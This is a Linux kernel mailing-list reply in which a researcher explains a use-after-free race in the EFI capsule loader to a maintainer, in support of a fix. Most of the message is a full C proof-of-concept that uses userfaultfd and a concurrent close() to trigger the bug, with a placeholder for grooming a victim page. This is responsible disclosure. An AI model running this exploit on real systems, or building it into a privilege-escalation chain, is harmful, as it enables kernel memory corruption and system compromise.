From: Hyunwoo Kim <imv4bel@gmail.com>
To: Ard Biesheuvel <ardb@kernel.org>
Cc: linux-efi@vger.kernel.org, imv4bel@gmail.com
Subject: Re: [PATCH] efi/capsule-loader: Fix use-after-free in efi_capsule_write
Date: Wed, 7 Sep 2022 03:29:20 -0700 [thread overview]
Message-ID: <20220907102920.GA88602@ubuntu> (raw)
In-Reply-To: <CAMj1kXHo91v8u_RcXfu4r=x5eh-tShBu4gSDZXBRveOC275Fnw@mail.gmail.com>
On Wed, Sep 07, 2022 at 10:30:44AM +0200, Ard Biesheuvel wrote:
> Could you please elaborate? I.e., describe in more detail how the race
> condition may occur?
The exploit flow is as follows:
```
cpu0 cpu1
1. write()
.
.
efi_capsule_write()
copy_from_user() <- userfaultfd set
2. close(fd)
__x64_sys_close()
close_fd()
filp_close()
filp->f_op->flush(filp, id)
efi_capsule_flush()
efi_free_all_buff_pages()
__free_page()
3. copy_from_user() <- userfaultfd release, UAF
```
1. Call write to the efi capsule on the thread.
It stops at copy_from_user() in efi_capsule_write()
because userfaultfd passes the set userspace address when calling write.
2. close() the efi capsule in another thread.
This causes the .release callback of efi_capsule_fops to not be called,
but the .flush callback to be called.
This is because .release of struct file_operations is called only when other operations are finished,
whereas .flush is called by the kernel as soon as close() is called.
This causes the kernel address that copy_from_user() was copying to be freed by __free_page().
3. Release userfaultfd from the thread that called write().
This causes a UAF that allows the user to write the desired data to the freed page.
+ Since userfaultfd only increases the stability of the exploit, UAF will still occur even if userfaultfd is disabled.
The poc code that triggers the vulnerability is:
```
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sched.h>
#include <malloc.h>
#include <poll.h>
#include <pty.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <linux/userfaultfd.h>
#define CPU_0 1
#define CPU_1 2
#define CPU_2 3
#define CPU_3 4
#define UFFD_COUNT 1
#define die() do { \
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int fd;
int page_size;
int set1 = 0;
int set2 = 0;
char *addr;
void set_affinity(unsigned long mask) {
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), (cpu_set_t *)&mask) < 0) {
perror("pthread_setaffinity_np");
}
return;
}
static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nwrite;
int qid;
uintptr_t fault_addr;
uffd = (long)arg;
if (page == NULL) {
page = mmap(NULL, page_size,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED){
perror("mmap");
die();
}
}
for (;;) {
struct pollfd pollfd;
int nwritey;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nwritey = poll(&pollfd, 1, -1);
if (nwritey == -1) {
perror("poll");
die();
}
nwrite = read(uffd, &msg, sizeof(msg));
if (nwrite == 0) {
printf("EOF on userfaultfd!\n");
die();
}
if (nwrite == -1) {
perror("write");
die();
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
perror("Unexpected event on userfaultfd");
die();
}
fault_addr = msg.arg.pagefault.address;
if (fault_addr == addr) {
printf("[step 3] write ufd stuck pid : %d\n", syscall(SYS_gettid));
while(!set1);
memset(page, 0x42, page_size);
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
perror("fault_handler_thwrite() - ioctl-UFFDIO_COPY case 1");
die();
}
}
}
}
void set_userfaultfd(void) {
long uffd[UFFD_COUNT];
struct uffdio_api uffdio_api[UFFD_COUNT];
struct uffdio_register uffdio_register;
pthread_t pf_hdr[UFFD_COUNT];
int p[UFFD_COUNT];
unsigned int size;
page_size = sysconf(_SC_PAGE_SIZE);
size = page_size;
addr = (char *)mmap(NULL,
page_size * UFFD_COUNT,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
/* userfaultfd handler thwrites */
for (int i=0; i<UFFD_COUNT; i++) {
uffd[i] = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd[i] == -1) {
perror("syscall : userfaultfd");
die();
}
uffdio_api[i].api = UFFD_API;
uffdio_api[i].features = 0;
if (ioctl(uffd[i], UFFDIO_API, &uffdio_api[i]) == -1) {
perror("ioctl() : UFFDIO_API");
die();
}
uffdio_register.range.start = (unsigned long)(addr + (page_size * i));
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd[i], UFFDIO_REGISTER, &uffdio_register) == -1) {
perror("ioctl() : UFFDIO_REGISTER");
die();
}
p[i] = pthread_create(&pf_hdr[i], NULL, fault_handler_thread, (void *)uffd[i]);
if (p[i] != 0) {
perror("pthread_create : page_fault_handler_thread");
die();
}
}
}
void *efi_write(void) {
int ret;
set_affinity(CPU_0);
printf("[step 2] write before cpu 1 pid : %d\n", syscall(SYS_gettid));
ret = write(fd, addr, 1024);
printf("[step 7] write after ret : %d cpu 1 pid : %d\n", ret, syscall(SYS_gettid));
}
void *efi_flush(void) {
int ret;
sleep(5);
printf("[step 4] close() before cpu 2 pid : %d\n", syscall(SYS_gettid));
set_affinity(CPU_1);
ret = close(fd);
sleep(5);
/*
*
* allocate a "page" to be victimized here
*
*/
printf("[step 5] close() after : %d cpu 2 pid : %d\n", ret, syscall(SYS_gettid));
sleep(5);
set1 = 1;
printf("[step 6] write ufd end cpu 2 pid : %d\n", syscall(SYS_gettid));
}
int main() {
pthread_t pf_hdr;
int p1, p2;
int status1, status2;
pthread_t hdr1, hdr2;
//set_affinity(CPU_0);
set_userfaultfd();
fd = open("/dev/efi_capsule_loader", O_WRONLY);
printf("[step 1] open fd = %d cpu 0 pid : %d\n", fd, syscall(SYS_gettid));
p1 = pthread_create(&hdr1, NULL, efi_write, (void *)NULL);
if (p1 != 0) {
perror("pthread_create 1");
die();
}
p2 = pthread_create(&hdr2, NULL, efi_flush, (void *)NULL);
if (p2 != 0) {
perror("pthread_create 2");
die();
}
pthread_join(hdr1, (void **)&status1);
pthread_join(hdr2, (void **)&status2);
printf("done pid : %d\n", syscall(SYS_gettid));
return 0;
}
```
Since the description of the patch I sent you earlier is ambiguous,
and the current include/linux/efi.h code has changed, I will send you the v2 patch again.
Regards,
Hyunwoo Kim.
next prev parent reply other threads:[~2022-09-07 10:29 UTC|newest]
Thread overview: 7+ messages / expand[flat|nested] mbox.gz Atom feed top
2022-06-26 10:32 [PATCH] efi/capsule-loader: Fix use-after-free in efi_capsule_write Hyunwoo Kim
2022-09-07 8:30 ` Ard Biesheuvel
2022-09-07 10:29 ` Hyunwoo Kim [this message]
2022-09-07 14:40 ` Ard Biesheuvel
2022-09-07 14:54 ` Hyunwoo Kim
2022-09-07 15:17 ` Hyunwoo Kim
2022-09-07 15:19 ` Ard Biesheuvel
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20220907102920.GA88602@ubuntu \
--to=imv4bel@gmail.com \
--cc=ardb@kernel.org \
--cc=linux-efi@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox